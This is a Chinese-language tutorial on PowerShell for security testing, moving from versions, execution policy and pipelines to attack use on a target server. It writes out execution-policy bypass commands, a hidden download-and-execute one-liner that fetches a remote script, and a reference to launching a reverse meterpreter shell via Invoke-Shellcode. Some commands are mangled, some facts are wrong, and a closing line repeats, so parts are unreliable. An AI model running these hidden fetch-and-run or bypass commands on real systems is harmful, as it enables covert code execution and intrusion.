Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。
Windows操作系统所对应的PowerShell版本,如图所示。
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
Windows 7/Windows Server 2008 | 2.0 | 可以升级为3.0、4.0 |
Windows 8/Windows Server 2012 | 3.0 | 可以升级为4.0 |
Windows 8.1/Windows Server 2012 R2 | 4.0 | 否 |
可以输入**“Get-Host"或者”$PSVersionTable.PSVERSION"**命令查看PowerShell的版本,如图所示。
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。
可以使用下面的cmdlet命令设置PowerShell的执行策略。
Set-ExecutionPolicy
要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。
一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。
PS> get-process p* | stop-process
在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。
在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。
要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。
(1)绕过本地权限并执行
将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。
powershell.exe -exec bypass -Command “& {Import-Module C:\PowerUp.ps1;Invoke-AllChecks}”
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]
使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。
一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。
hell.exe -NoP -NonI -W Hidden -Exec Bypass
推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。